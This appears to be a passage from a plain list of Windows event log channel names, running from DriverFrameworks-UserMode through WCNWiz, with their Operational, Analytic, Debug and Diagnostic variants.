Microsoft-Windows-DriverFrameworks-UserMode/Operational
Microsoft-Windows-DSC/Admin
Microsoft-Windows-DSC/Analytic
Microsoft-Windows-DSC/Debug
Microsoft-Windows-DSC/Operational
Microsoft-Windows-DUI/Diagnostic
Microsoft-Windows-DUSER/Diagnostic
Microsoft-Windows-Dwm-API/Diagnostic
Microsoft-Windows-Dwm-Compositor/Diagnostic
Microsoft-Windows-Dwm-Core/Diagnostic
Microsoft-Windows-Dwm-Dwm/Diagnostic
Microsoft-Windows-Dwm-Redir/Diagnostic
Microsoft-Windows-Dwm-Udwm/Diagnostic
Microsoft-Windows-DXGI/Analytic
Microsoft-Windows-DXGI/Logging
Microsoft-Windows-DxgKrnl-Admin
Microsoft-Windows-DxgKrnl-Operational
Microsoft-Windows-DxgKrnl-SysMm/Debug
Microsoft-Windows-DxgKrnl-SysMm/Performance
Microsoft-Windows-DxgKrnl/Contention
Microsoft-Windows-DxgKrnl/Diagnostic
Microsoft-Windows-DxgKrnl/Performance
Microsoft-Windows-DxgKrnl/Power
Microsoft-Windows-DXP/Analytic
Microsoft-Windows-DxpTaskSyncProvider/Analytic
Microsoft-Windows-EapHost/Analytic
Microsoft-Windows-EapHost/Debug
Microsoft-Windows-EapHost/Operational
Microsoft-Windows-EapMethods-RasChap/Operational
Microsoft-Windows-EapMethods-RasTls/Operational
Microsoft-Windows-EapMethods-Sim/Operational
Microsoft-Windows-EapMethods-Ttls/Operational
Microsoft-Windows-EaseOfAccess/Diagnostic
Microsoft-Windows-EDP-Application-Learning/Admin
Microsoft-Windows-EDP-Audit-Regular/Admin
Microsoft-Windows-EDP-Audit-TCB/Admin
Microsoft-Windows-EFS/Debug
Microsoft-Windows-EFS/Operational
Microsoft-Windows-Energy-Estimation-Engine/EventLog
Microsoft-Windows-Energy-Estimation-Engine/Trace
Microsoft-Windows-EnhancedStorage-EhStorClass/Operational
Microsoft-Windows-EnhancedStorage-EhStorTcgDrv/Analytic
Microsoft-Windows-ESE/IODiagnose
Microsoft-Windows-ESE/Operational
Microsoft-Windows-EventCollector/Debug
Microsoft-Windows-EventCollector/Operational
Microsoft-Windows-EventLog-WMIProvider/Debug
Microsoft-Windows-EventLog/Analytic
Microsoft-Windows-EventLog/Debug
Microsoft-Windows-FailoverClustering-Client/Diagnostic
Microsoft-Windows-FailoverClustering-Client/Operational
Microsoft-Windows-Fault-Tolerant-Heap/Operational
Microsoft-Windows-FeatureConfiguration/Analytic
Microsoft-Windows-FeatureConfiguration/Operational
Microsoft-Windows-Feedback-Service-TriggerProvider
Microsoft-Windows-FileHistory-Catalog/Analytic
Microsoft-Windows-FileHistory-Catalog/Debug
Microsoft-Windows-FileHistory-ConfigManager/Analytic
Microsoft-Windows-FileHistory-ConfigManager/Debug
Microsoft-Windows-FileHistory-Core/Analytic
Microsoft-Windows-FileHistory-Core/Debug
Microsoft-Windows-FileHistory-Core/WHC
Microsoft-Windows-FileHistory-Engine/Analytic
Microsoft-Windows-FileHistory-Engine/BackupLog
Microsoft-Windows-FileHistory-Engine/Debug
Microsoft-Windows-FileHistory-EventListener/Analytic
Microsoft-Windows-FileHistory-EventListener/Debug
Microsoft-Windows-FileHistory-Service/Analytic
Microsoft-Windows-FileHistory-Service/Debug
Microsoft-Windows-FileHistory-UI-Events/Analytic
Microsoft-Windows-FileHistory-UI-Events/Debug
Microsoft-Windows-FileInfoMinifilter/Operational
Microsoft-Windows-Firewall-CPL/Diagnostic
Microsoft-Windows-FMS/Analytic
Microsoft-Windows-FMS/Debug
Microsoft-Windows-FMS/Operational
Microsoft-Windows-Folder Redirection/Operational
Microsoft-Windows-Forwarding/Debug
Microsoft-Windows-Forwarding/Operational
Microsoft-Windows-GenericRoaming/Admin
Microsoft-Windows-glcnd/Admin
Microsoft-Windows-glcnd/Debug
Microsoft-Windows-glcnd/Diagnostic
Microsoft-Windows-GPIO-ClassExtension/Analytic
Microsoft-Windows-GroupPolicy/Operational
Microsoft-Windows-HAL/Debug
Microsoft-Windows-HealthCenter/Debug
Microsoft-Windows-HealthCenter/Performance
Microsoft-Windows-HealthCenterCPL/Performance
Microsoft-Windows-HelloForBusiness/Debug
Microsoft-Windows-HelloForBusiness/Operational
Microsoft-Windows-Help/Operational
Microsoft-Windows-HomeGroup Control Panel Performance/Diagnostic
Microsoft-Windows-HomeGroup Control Panel/Operational
Microsoft-Windows-HotspotAuth/Analytic
Microsoft-Windows-HotspotAuth/Operational
Microsoft-Windows-HttpService/Log
Microsoft-Windows-HttpService/Trace
Microsoft-Windows-Hyper-V-Guest-Drivers/Admin
Microsoft-Windows-Hyper-V-Guest-Drivers/Analytic
Microsoft-Windows-Hyper-V-Guest-Drivers/Debug
Microsoft-Windows-Hyper-V-Guest-Drivers/Diagnose
Microsoft-Windows-Hyper-V-Guest-Drivers/Operational
Microsoft-Windows-Hyper-V-Hypervisor-Admin
Microsoft-Windows-Hyper-V-Hypervisor-Analytic
Microsoft-Windows-Hyper-V-Hypervisor-Operational
Microsoft-Windows-Hyper-V-KMCL-Child/Analytic
Microsoft-Windows-Hyper-V-VID-Admin
Microsoft-Windows-Hyper-V-VID-Analytic
Microsoft-Windows-IdCtrls/Analytic
Microsoft-Windows-IdCtrls/Operational
Microsoft-Windows-IE-SmartScreen
Microsoft-Windows-IKE/Operational
Microsoft-Windows-IKEDBG/Debug
Microsoft-Windows-IME-Broker/Analytic
Microsoft-Windows-IME-CandidateUI/Analytic
Microsoft-Windows-IME-CustomerFeedbackManager/Debug
Microsoft-Windows-IME-CustomerFeedbackManagerUI/Analytic
Microsoft-Windows-IME-JPAPI/Analytic
Microsoft-Windows-IME-JPLMP/Analytic
Microsoft-Windows-IME-JPPRED/Analytic
Microsoft-Windows-IME-JPSetting/Analytic
Microsoft-Windows-IME-JPTIP/Analytic
Microsoft-Windows-IME-KRAPI/Analytic
Microsoft-Windows-IME-KRTIP/Analytic
Microsoft-Windows-IME-OEDCompiler/Analytic
Microsoft-Windows-IME-TCCORE/Analytic
Microsoft-Windows-IME-TCTIP/Analytic
Microsoft-Windows-IME-TIP/Analytic
Microsoft-Windows-IndirectDisplays-ClassExtension-Events/Diagnostic
Microsoft-Windows-Input-HIDCLASS-Analytic
Microsoft-Windows-InputSwitch/Diagnostic
Microsoft-Windows-International-RegionalOptionsControlPanel/Operational
Microsoft-Windows-Iphlpsvc/Debug
Microsoft-Windows-Iphlpsvc/Operational
Microsoft-Windows-Iphlpsvc/Trace
Microsoft-Windows-IPNAT/Diagnostic
Microsoft-Windows-IPSEC-SRV/Diagnostic
Microsoft-Windows-IPxlatCfg/Debug
Microsoft-Windows-IPxlatCfg/Operational
Microsoft-Windows-KdsSvc/Operational
Microsoft-Windows-Kerberos-Local-Key-Distribution-Center/Operational
Microsoft-Windows-Kerberos-Local-Key-Distribution-Center/Performance
Microsoft-Windows-Kerberos/Operational
Microsoft-Windows-Kernel-Cache/Operational
Microsoft-Windows-Kernel-Interrupt-Steering/Diagnostic
Microsoft-Windows-Kernel-Pdc/Diagnostic
Microsoft-Windows-Kernel-Pep/Diagnostic
Microsoft-Windows-Kernel-PnP/Boot Diagnostic
Microsoft-Windows-Kernel-PnP/Configuration
Microsoft-Windows-Kernel-PnP/Configuration Diagnostic
Microsoft-Windows-Kernel-PnP/Device Enumeration Diagnostic
Microsoft-Windows-Kernel-PnP/Device Management
Microsoft-Windows-Kernel-PnP/Driver Diagnostic
Microsoft-Windows-Kernel-PnP/Driver Watchdog
Microsoft-Windows-Kernel-Power/Diagnostic
Microsoft-Windows-Kernel-Power/Thermal-Diagnostic
Microsoft-Windows-Kernel-Power/Thermal-Operational
Microsoft-Windows-Kernel-Processor-Power/Diagnostic
Microsoft-Windows-Kernel-WHEA/Errors
Microsoft-Windows-Kernel-WHEA/Operational
Microsoft-Windows-Kernel-XDV/Analytic
Microsoft-Windows-KeyboardFilter/Admin
Microsoft-Windows-KeyboardFilter/Operational
Microsoft-Windows-KeyboardFilter/Performance
Microsoft-Windows-Known Folders API Service
Microsoft-Windows-L2NA/Diagnostic
Microsoft-Windows-LanguagePackSetup/Analytic
Microsoft-Windows-LanguagePackSetup/Debug
Microsoft-Windows-LanguagePackSetup/Operational
Microsoft-Windows-LAPS/Operational
Microsoft-Windows-LDAP-Client/Debug
Microsoft-Windows-LimitsManagement/Diagnostic
Microsoft-Windows-LinkLayerDiscoveryProtocol/Diagnostic
Microsoft-Windows-LinkLayerDiscoveryProtocol/Operational
Microsoft-Windows-LiveId/Analytic
Microsoft-Windows-LiveId/Operational
Microsoft-Windows-Media-Streaming/DMC
Microsoft-Windows-Media-Streaming/DMR
Microsoft-Windows-Media-Streaming/MDE
Microsoft-Windows-MediaFoundation-MFCaptureEngine/MFCaptureEngine
Microsoft-Windows-MediaFoundation-MFReadWrite/SinkWriter
Microsoft-Windows-MediaFoundation-MFReadWrite/SourceReader
Microsoft-Windows-MediaFoundation-MFReadWrite/Transform
Microsoft-Windows-MediaFoundation-Performance/SARStreamResource
Microsoft-Windows-MediaFoundation-PlayAPI/Analytic
Microsoft-Windows-MemoryDiagnostics-Results/Debug
Microsoft-Windows-Minstore/Analytic
Microsoft-Windows-Minstore/Debug
Microsoft-Windows-Mobile-Broadband-Experience-Api-Internal/Analytic
Microsoft-Windows-Mobile-Broadband-Experience-Api/Analytic
Microsoft-Windows-Mobile-Broadband-Experience-SmsApi/Analytic
Microsoft-Windows-MobilityCenter/Performance
Microsoft-Windows-mobsync/Diagnostic
Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Admin
Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot
Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Debug
Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Diagnostics
Microsoft-Windows-ModernDeployment-Diagnostics-Provider/ManagementService
Microsoft-Windows-MosHost/Operational
Microsoft-Windows-MosHost/Performance
Microsoft-Windows-MPEG2-Video-Encoder-MFT_Analytic
Microsoft-Windows-Mprddm/Operational
Microsoft-Windows-MPS-CLNT/Diagnostic
Microsoft-Windows-MPS-DRV/Diagnostic
Microsoft-Windows-MPS-SRV/Diagnostic
Microsoft-Windows-MSFTEDIT/Diagnostic
Microsoft-Windows-Narrator/Diagnostic
Microsoft-Windows-Ncasvc/Operational
Microsoft-Windows-NcdAutoSetup/Diagnostic
Microsoft-Windows-NcdAutoSetup/Operational
Microsoft-Windows-NCSI/Analytic
Microsoft-Windows-NCSI/Operational
Microsoft-Windows-NDF-HelperClassDiscovery/Debug
Microsoft-Windows-NDIS-PacketCapture/Diagnostic
Microsoft-Windows-NDIS/Diagnostic
Microsoft-Windows-NDIS/Operational
Microsoft-Windows-NdisImPlatform/Operational
Microsoft-Windows-Ndu/Diagnostic
Microsoft-Windows-NetShell/Performance
Microsoft-Windows-Network-and-Sharing-Center/Diagnostic
Microsoft-Windows-Network-Connection-Broker
Microsoft-Windows-Network-ExecutionContext/Operational
Microsoft-Windows-Network-Setup/Diagnostic
Microsoft-Windows-NetworkBridge/Diagnostic
Microsoft-Windows-Networking-RealTimeCommunication/Tracing
Microsoft-Windows-NetworkProfile/Diagnostic
Microsoft-Windows-NetworkProfile/Operational
Microsoft-Windows-NetworkProvider/Operational
Microsoft-Windows-NetworkProvisioning/Analytic
Microsoft-Windows-NetworkProvisioning/Operational
Microsoft-Windows-NetworkSecurity/Debug
Microsoft-Windows-NlaSvc/Diagnostic
Microsoft-Windows-NlaSvc/Operational
Microsoft-Windows-NTLM/Operational
Microsoft-Windows-ntshrui
Microsoft-Windows-ntshrui-perf
Microsoft-Windows-NWiFi/Diagnostic
Microsoft-Windows-OfflineFiles/Analytic
Microsoft-Windows-OfflineFiles/Debug
Microsoft-Windows-OfflineFiles/Operational
Microsoft-Windows-OfflineFiles/SyncLog
Microsoft-Windows-OLE/Clipboard-Performance
Microsoft-Windows-OLEACC/Debug
Microsoft-Windows-OLEACC/Diagnostic
Microsoft-Windows-OneBackup/Debug
Microsoft-Windows-OneX/Diagnostic
Microsoft-Windows-OneX/Operational
Microsoft-Windows-OOBE-FirstLogonAnim/Diagnostic
Microsoft-Windows-OOBE-Machine-Core/Diagnostic
Microsoft-Windows-OOBE-Machine-DUI/Diagnostic
Microsoft-Windows-OOBE-Machine-DUI/Operational
Microsoft-Windows-OobeLdr/Analytic
Microsoft-Windows-osk/Diagnostic
Microsoft-Windows-OtpCredentialProvider/Operational
Microsoft-Windows-ParentalControls/Operational
Microsoft-Windows-Partition/Analytic
Microsoft-Windows-Partition/Debug
Microsoft-Windows-Partition/Diagnostic
Microsoft-Windows-PerceptionRuntime/Operational
Microsoft-Windows-PerceptionSensorDataService/Operational
Microsoft-Windows-Perflib/Operational
Microsoft-Windows-PersistentMemory-Nvdimm/Analytic
Microsoft-Windows-PersistentMemory-Nvdimm/Diagnostic
Microsoft-Windows-PersistentMemory-Nvdimm/Operational
Microsoft-Windows-PersistentMemory-PmemDisk/Analytic
Microsoft-Windows-PersistentMemory-PmemDisk/Diagnostic
Microsoft-Windows-PersistentMemory-PmemDisk/Operational
Microsoft-Windows-PersistentMemory-ScmBus/Analytic
Microsoft-Windows-PersistentMemory-ScmBus/Certification
Microsoft-Windows-PersistentMemory-ScmBus/Diagnose
Microsoft-Windows-PersistentMemory-ScmBus/Operational
Microsoft-Windows-PhotoAcq/Analytic
Microsoft-Windows-PlayToManager/Analytic
Microsoft-Windows-Policy/Analytic
Microsoft-Windows-Policy/Operational
Microsoft-Windows-PortableDeviceStatusProvider/Analytic
Microsoft-Windows-PortableDeviceSyncProvider/Analytic
Microsoft-Windows-PowerCfg/Diagnostic
Microsoft-Windows-PowerCpl/Diagnostic
Microsoft-Windows-PowerEfficiencyDiagnostics/Diagnostic
Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Analytic
Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Debug
Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Operational
Microsoft-Windows-PowerShell/Admin
Microsoft-Windows-PowerShell/Analytic
Microsoft-Windows-PowerShell/Debug
Microsoft-Windows-PowerShell/Operational
Microsoft-Windows-PrintBRM/Admin
Microsoft-Windows-PrintService-USBMon/Debug
Microsoft-Windows-PrintService/Admin
Microsoft-Windows-PrintService/Debug
Microsoft-Windows-PrintService/Operational
Microsoft-Windows-Privacy-Auditing-PermissiveLearningMode/Operational
Microsoft-Windows-Privacy-Auditing/Operational
Microsoft-Windows-ProcessStateManager/Diagnostic
Microsoft-Windows-Program-Compatibility-Assistant/Analytic
Microsoft-Windows-Program-Compatibility-Assistant/CompatAfterUpgrade
Microsoft-Windows-Provisioning-Diagnostics-Provider/Admin
Microsoft-Windows-Provisioning-Diagnostics-Provider/AutoPilot
Microsoft-Windows-Provisioning-Diagnostics-Provider/Debug
Microsoft-Windows-Provisioning-Diagnostics-Provider/ManagementService
Microsoft-Windows-Proximity-Common/Diagnostic
Microsoft-Windows-Proximity-Common/Informational
Microsoft-Windows-Proximity-Common/Performance
Microsoft-Windows-PushNotification-Developer/Debug
Microsoft-Windows-PushNotification-InProc/Debug
Microsoft-Windows-PushNotification-Platform/Admin
Microsoft-Windows-PushNotification-Platform/Debug
Microsoft-Windows-PushNotification-Platform/Operational
Microsoft-Windows-QoS-Pacer/Diagnostic
Microsoft-Windows-QoS-qWAVE/Debug
Microsoft-Windows-RadioManager/Analytic
Microsoft-Windows-Ras-NdisWanPacketCapture/Diagnostic
Microsoft-Windows-RasAgileVpn/Debug
Microsoft-Windows-RasAgileVpn/Operational
Microsoft-Windows-ReadyBoost/Analytic
Microsoft-Windows-ReadyBoost/Operational
Microsoft-Windows-ReadyBoostDriver/Analytic
Microsoft-Windows-ReadyBoostDriver/Operational
Microsoft-Windows-ReFS/Operational
Microsoft-Windows-Regsvr32/Operational
Microsoft-Windows-RemoteApp and Desktop Connections/Admin
Microsoft-Windows-RemoteApp and Desktop Connections/Operational
Microsoft-Windows-RemoteAssistance/Admin
Microsoft-Windows-RemoteAssistance/Operational
Microsoft-Windows-RemoteAssistance/Tracing
Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Admin
Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Debug
Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational
Microsoft-Windows-RemoteDesktopServices-SessionServices/Operational
Microsoft-Windows-Remotefs-Rdbss/Diagnostic
Microsoft-Windows-Remotefs-Rdbss/Operational
Microsoft-Windows-ResetEng-Trace/Diagnostic
Microsoft-Windows-Resource-Exhaustion-Detector/Operational
Microsoft-Windows-Resource-Exhaustion-Resolver/Operational
Microsoft-Windows-ResourcePublication/Tracing
Microsoft-Windows-RestartManager/Operational
Microsoft-Windows-RetailDemo/Admin
Microsoft-Windows-RetailDemo/Operational
Microsoft-Windows-RPC-Proxy/Debug
Microsoft-Windows-RRAS/Debug
Microsoft-Windows-RRAS/Operational
Microsoft-Windows-Runtime-Graphics/Analytic
Microsoft-Windows-Runtime-Networking-BackgroundTransfer/Tracing
Microsoft-Windows-Runtime-Networking/Tracing
Microsoft-Windows-Runtime-Web-Http/Tracing
Microsoft-Windows-Runtime-WebAPI/Tracing
Microsoft-Windows-Runtime-Windows-Media/WinRTAdaptiveMediaSource
Microsoft-Windows-Runtime-Windows-Media/WinRTCaptureEngine
Microsoft-Windows-Runtime-Windows-Media/WinRTMediaStreamSource
Microsoft-Windows-Runtime-Windows-Media/WinRTTranscode
Microsoft-Windows-Runtime/CreateInstance
Microsoft-Windows-Runtime/Error
Microsoft-Windows-Schannel-Events/Perf
Microsoft-Windows-Sdbus/Analytic
Microsoft-Windows-Sdbus/Debug
Microsoft-Windows-Sdstor/Analytic
Microsoft-Windows-Search-Core/Diagnostic
Microsoft-Windows-Search-ProtocolHandlers/Diagnostic
Microsoft-Windows-SearchUI/Diagnostic
Microsoft-Windows-SearchUI/Operational
Microsoft-Windows-SecureAssessment/Operational
Microsoft-Windows-Security-Audit-Configuration-Client/Diagnostic
Microsoft-Windows-Security-Audit-Configuration-Client/Operational
Microsoft-Windows-Security-EnterpriseData-FileRevocationManager/Operational
Microsoft-Windows-Security-ExchangeActiveSyncProvisioning/Operational
Microsoft-Windows-Security-ExchangeActiveSyncProvisioning/Performance
Microsoft-Windows-Security-IdentityStore/Performance
Microsoft-Windows-Security-Isolation-BrokeringFileSystem/Operational
Microsoft-Windows-Security-Netlogon/Operational
Microsoft-Windows-Security-SPP-UX-GC/Analytic
Microsoft-Windows-Security-SPP-UX-GenuineCenter-Logging/Operational
Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter
Microsoft-Windows-Security-SPP-UX/Analytic
Microsoft-Windows-Security-SPP/Perf
Microsoft-Windows-Security-UserConsentVerifier/Audit
Microsoft-Windows-Security-Vault/Performance
Microsoft-Windows-SecurityMitigationsBroker/Admin
Microsoft-Windows-SecurityMitigationsBroker/Operational
Microsoft-Windows-SecurityMitigationsBroker/Perf
Microsoft-Windows-SendTo/Diagnostic
Microsoft-Windows-Sens/Debug
Microsoft-Windows-SENSE/Operational
Microsoft-Windows-SenseIR/Operational
Microsoft-Windows-Sensors/Debug
Microsoft-Windows-Sensors/Performance
Microsoft-Windows-Serial-ClassExtension-V2/Analytic
Microsoft-Windows-Serial-ClassExtension/Analytic
Microsoft-Windows-ServiceReportingApi/Debug
Microsoft-Windows-Services-Svchost/Diagnostic
Microsoft-Windows-Services/Diagnostic
Microsoft-Windows-Servicing/Debug
Microsoft-Windows-Setup/Analytic
Microsoft-Windows-SetupCl/Analytic
Microsoft-Windows-SetupPlatform/Analytic
Microsoft-Windows-SetupQueue/Analytic
Microsoft-Windows-SetupUGC/Analytic
Microsoft-Windows-ShareMedia-ControlPanel/Diagnostic
Microsoft-Windows-Shell-AppWizCpl/Diagnostic
Microsoft-Windows-Shell-AuthUI-BootAnim/Diagnostic
Microsoft-Windows-Shell-AuthUI-Common/Diagnostic
Microsoft-Windows-Shell-AuthUI-CredentialProviderUser/Diagnostic
Microsoft-Windows-Shell-AuthUI-CredUI/Diagnostic
Microsoft-Windows-Shell-AuthUI-Logon/Diagnostic
Microsoft-Windows-Shell-AuthUI-LogonUI/Diagnostic
Microsoft-Windows-Shell-AuthUI-Shutdown/Diagnostic
Microsoft-Windows-Shell-ConnectedAccountState/ActionCenter
Microsoft-Windows-Shell-Core/ActionCenter
Microsoft-Windows-Shell-Core/AppDefaults
Microsoft-Windows-Shell-Core/Diagnostic
Microsoft-Windows-Shell-Core/LogonTasksChannel
Microsoft-Windows-Shell-Core/Operational
Microsoft-Windows-Shell-DefaultPrograms/Diagnostic
Microsoft-Windows-Shell-LockScreenContent/Diagnostic
Microsoft-Windows-Shell-OpenWith/Diagnostic
Microsoft-Windows-Shell-Shwebsvc
Microsoft-Windows-Shell-ZipFolder/Diagnostic
Microsoft-Windows-ShellCommon-StartLayoutPopulation/Diagnostic
Microsoft-Windows-ShellCommon-StartLayoutPopulation/Operational
Microsoft-Windows-Shsvcs/Diagnostic
Microsoft-Windows-SleepStudy/Diagnostic
Microsoft-Windows-SmartCard-Audit/Authentication
Microsoft-Windows-SmartCard-DeviceEnum/Operational
Microsoft-Windows-SmartCard-TPM-VCard-Module/Admin
Microsoft-Windows-SmartCard-TPM-VCard-Module/Operational
Microsoft-Windows-SmartScreen/Debug
Microsoft-Windows-SMBClient/Analytic
Microsoft-Windows-SmbClient/Audit
Microsoft-Windows-SmbClient/Connectivity
Microsoft-Windows-SmbClient/Diagnostic
Microsoft-Windows-SMBClient/HelperClassDiagnostic
Microsoft-Windows-SMBClient/ObjectStateDiagnostic
Microsoft-Windows-SMBClient/Operational
Microsoft-Windows-SmbClient/Security
Microsoft-Windows-SMBDirect/Connectivity
Microsoft-Windows-SMBDirect/Operational
Microsoft-Windows-SMBServer/Analytic
Microsoft-Windows-SMBServer/Audit
Microsoft-Windows-SMBServer/Connectivity
Microsoft-Windows-SMBServer/Diagnostic
Microsoft-Windows-SMBServer/Operational
Microsoft-Windows-SMBServer/Performance
Microsoft-Windows-SMBServer/Security
Microsoft-Windows-SMBWitnessClient/Admin
Microsoft-Windows-SMBWitnessClient/Informational
Microsoft-Windows-SPB-ClassExtension/Analytic
Microsoft-Windows-SPB-HIDI2C/Analytic
Microsoft-Windows-Speech-UserExperience/Diagnostic
Microsoft-Windows-Spell-Checking/Analytic
Microsoft-Windows-SpellChecker/Analytic
Microsoft-Windows-Spellchecking-Host/Analytic
Microsoft-Windows-SruMon/Diagnostic
Microsoft-Windows-SrumTelemetry
Microsoft-Windows-StateRepository/Debug
Microsoft-Windows-StateRepository/Diagnostic
Microsoft-Windows-StateRepository/Operational
Microsoft-Windows-StateRepository/Restricted
Microsoft-Windows-stobject/Diagnostic
Microsoft-Windows-Storage-ATAPort/Admin
Microsoft-Windows-Storage-ATAPort/Analytic
Microsoft-Windows-Storage-ATAPort/Debug
Microsoft-Windows-Storage-ATAPort/Diagnose
Microsoft-Windows-Storage-ATAPort/Operational
Microsoft-Windows-Storage-ClassPnP/Admin
Microsoft-Windows-Storage-ClassPnP/Analytic
Microsoft-Windows-Storage-ClassPnP/Debug
Microsoft-Windows-Storage-ClassPnP/Diagnose
Microsoft-Windows-Storage-ClassPnP/Operational
Microsoft-Windows-Storage-NvmeDisk/Analytic
Microsoft-Windows-Storage-NvmeDisk/Diagnose
Microsoft-Windows-Storage-NvmeDisk/Operational
Microsoft-Windows-Storage-Tiering-IoHeat/Heat
Microsoft-Windows-Storage-Tiering/Admin
Microsoft-Windows-StorageManagement-PartUtil/Operational
Microsoft-Windows-StorageManagement/Debug
Microsoft-Windows-StorageManagement/Operational
Microsoft-Windows-StorageSettings/Diagnostic
Microsoft-Windows-StorageSpaces-ManagementAgent/WHC
Microsoft-Windows-StorageSpaces-Parser/Diagnostic
Microsoft-Windows-StorageSpaces-Parser/Operational
Microsoft-Windows-StorageSpaces-SpaceManager/Diagnostic
Microsoft-Windows-StorageSpaces-SpaceManager/Operational
Microsoft-Windows-StorageVolume/Diagnostic
Microsoft-Windows-StorageVolume/Operational
Microsoft-Windows-StorDiag/Operational
Microsoft-Windows-Storsvc/Diagnostic
Microsoft-Windows-Subsys-Csr/Operational
Microsoft-Windows-Subsys-SMSS/Operational
Microsoft-Windows-Sudo/Admin
Microsoft-Windows-Superfetch/Main
Microsoft-Windows-Superfetch/PfApLog
Microsoft-Windows-Superfetch/StoreLog
Microsoft-Windows-Sysprep/Analytic
Microsoft-Windows-System-Profile-HardwareId/Diagnostic
Microsoft-Windows-SystemSettingsHandlers/Debug
Microsoft-Windows-SystemSettingsThreshold/Debug
Microsoft-Windows-SystemSettingsThreshold/Diagnostic
Microsoft-Windows-SystemSettingsThreshold/Operational
Microsoft-Windows-TaskbarCPL/Diagnostic
Microsoft-Windows-TaskScheduler/Debug
Microsoft-Windows-TaskScheduler/Diagnostic
Microsoft-Windows-TaskScheduler/Maintenance
Microsoft-Windows-TaskScheduler/Operational
Microsoft-Windows-TCPIP/Diagnostic
Microsoft-Windows-TCPIP/Operational
Microsoft-Windows-TenantRestrictions/Operational
Microsoft-Windows-TerminalServices-ClientUSBDevices/Admin
Microsoft-Windows-TerminalServices-ClientUSBDevices/Analytic
Microsoft-Windows-TerminalServices-ClientUSBDevices/Debug
Microsoft-Windows-TerminalServices-ClientUSBDevices/Operational
Microsoft-Windows-TerminalServices-LocalSessionManager/Admin
Microsoft-Windows-TerminalServices-LocalSessionManager/Analytic
Microsoft-Windows-TerminalServices-LocalSessionManager/Debug
Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
Microsoft-Windows-TerminalServices-MediaRedirection/Analytic
Microsoft-Windows-TerminalServices-PnPDevices/Admin
Microsoft-Windows-TerminalServices-PnPDevices/Analytic
Microsoft-Windows-TerminalServices-PnPDevices/Debug
Microsoft-Windows-TerminalServices-PnPDevices/Operational
Microsoft-Windows-TerminalServices-Printers/Admin
Microsoft-Windows-TerminalServices-Printers/Analytic
Microsoft-Windows-TerminalServices-Printers/Debug
Microsoft-Windows-TerminalServices-Printers/Operational
Microsoft-Windows-TerminalServices-RDPClient/Analytic
Microsoft-Windows-TerminalServices-RDPClient/Debug
Microsoft-Windows-TerminalServices-RDPClient/Operational
Microsoft-Windows-TerminalServices-RdpSoundDriver/Capture
Microsoft-Windows-TerminalServices-RdpSoundDriver/Playback
Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin
Microsoft-Windows-TerminalServices-RemoteConnectionManager/Analytic
Microsoft-Windows-TerminalServices-RemoteConnectionManager/Debug
Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational
Microsoft-Windows-TerminalServices-ServerUSBDevices/Admin
Microsoft-Windows-TerminalServices-ServerUSBDevices/Analytic
Microsoft-Windows-TerminalServices-ServerUSBDevices/Debug
Microsoft-Windows-TerminalServices-ServerUSBDevices/Operational
Microsoft-Windows-Tethering-Manager/Analytic
Microsoft-Windows-Tethering-Station/Analytic
Microsoft-Windows-ThemeCPL/Diagnostic
Microsoft-Windows-ThemeUI/Diagnostic
Microsoft-Windows-Time-Service-PTP-Provider/PTP-Operational
Microsoft-Windows-Time-Service/Operational
Microsoft-Windows-Troubleshooting-Recommended/Admin
Microsoft-Windows-Troubleshooting-Recommended/Operational
Microsoft-Windows-TSF-msctf/Debug
Microsoft-Windows-TSF-msctf/Diagnostic
Microsoft-Windows-TSF-msutb/Debug
Microsoft-Windows-TSF-msutb/Diagnostic
Microsoft-Windows-TTS/Diagnostic
Microsoft-Windows-TunnelDriver
Microsoft-Windows-TWinAPI/Diagnostic
Microsoft-Windows-TWinUI/Diagnostic
Microsoft-Windows-TWinUI/Operational
Microsoft-Windows-TZSync/Analytic
Microsoft-Windows-TZSync/Operational
Microsoft-Windows-TZUtil/Operational
Microsoft-Windows-UAC-FileVirtualization/Operational
Microsoft-Windows-UIAnimation/Diagnostic
Microsoft-Windows-UIAutomationCore/Debug
Microsoft-Windows-UIAutomationCore/Diagnostic
Microsoft-Windows-UIAutomationCore/Perf
Microsoft-Windows-UIRibbon/Diagnostic
Microsoft-Windows-UniversalTelemetryClient/Operational
Microsoft-Windows-USB-MAUSBHOST-Analytic
Microsoft-Windows-USB-UCMUCSICX/Operational
Microsoft-Windows-USB-UCX-Analytic
Microsoft-Windows-USB-USBHUB/Diagnostic
Microsoft-Windows-USB-USBHUB3-Analytic
Microsoft-Windows-USB-USBPORT/Diagnostic
Microsoft-Windows-USB-USBXHCI-Analytic
Microsoft-Windows-USB-USBXHCI-Operational
Microsoft-Windows-USB-USBXHCI-Trustlet-Analytic
Microsoft-Windows-User Control Panel Performance/Diagnostic
Microsoft-Windows-User Control Panel Usage/Diagnostic
Microsoft-Windows-User Control Panel/Diagnostic
Microsoft-Windows-User Control Panel/Operational
Microsoft-Windows-User Device Registration/Admin
Microsoft-Windows-User Device Registration/Debug
Microsoft-Windows-User Profile Service/Diagnostic
Microsoft-Windows-User Profile Service/Operational
Microsoft-Windows-UserAccountControl/Diagnostic
Microsoft-Windows-UxInit/Diagnostic
Microsoft-Windows-UxTheme/Diagnostic
Microsoft-Windows-VDRVROOT/Operational
Microsoft-Windows-VolumeSnapshot-Driver/Operational
Microsoft-Windows-VPN-Client/Operational
Microsoft-Windows-VPN/Operational
Microsoft-Windows-VWiFi/Diagnostic
Microsoft-Windows-WABSyncProvider/Analytic
Microsoft-Windows-VerifyHardwareSecurity/Operational
Microsoft-Windows-VHDMP-Analytic
Microsoft-Windows-VHDMP-Operational
Microsoft-Windows-VIRTDISK-Analytic
Microsoft-Windows-VolumeControl/Performance
Microsoft-Windows-VolumeSnapshot-Driver/Analytic
Microsoft-Windows-WCN-Config-Registrar/Diagnostic
Microsoft-Windows-WCNWiz/Analytic
